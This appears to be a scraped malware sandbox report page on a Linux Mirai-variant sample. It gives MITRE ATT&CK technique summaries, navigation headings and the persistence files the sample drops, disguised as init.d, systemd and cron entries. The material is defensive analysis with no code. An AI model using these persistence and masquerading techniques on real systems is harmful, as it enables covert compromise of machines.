Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. Systemd is a system and service manager commonly used for managing background daemon processes (also known as services) and other system resources.Systemd is the default initialization (init) system on many Linux distributions replacing legacy init systems, including SysVinit and Upstart, while remaining backwards compatible.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Creation, File: File Modification, Process: Process Creation, Service: Service Creation, Service: Service Modification
Platforms:	Linux
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may insert, delete, or manipulate data in order to influence external outcomes or hide activity, thus threatening the integrity of the data. By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.
Tactics:	Impact
Data Sources:	File: File Creation, File: File Deletion, File: File Metadata, File: File Modification, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report mirai_nomi

Overview

General Information

Detection

Signatures

Classification

General Information

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/etc/init.d/dnsconfig

/etc/systemd/system/dnsconfigs.service

/tmp/server_session.lock

/var/spool/cron/crontabs/tmp.K7NAYP

/var/spool/cron/crontabs/tmp.rHYaCv

/var/tmp/.recoverys

/var/tmp/nginx_kel

Static File Info

General

Static ELF Info

ELF header

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: mirai_nomi PID: 4700, Parent PID: 4603

General

Chronological Activities

Analysis Process: mirai_nomi PID: 4707, Parent PID: 4700

General

Chronological Activities

Analysis Process: cp PID: 4707, Parent PID: 4700

General

Chronological Activities

Analysis Process: mirai_nomi PID: 4708, Parent PID: 4700

General

Chronological Activities

Linux Analysis Report
mirai_nomi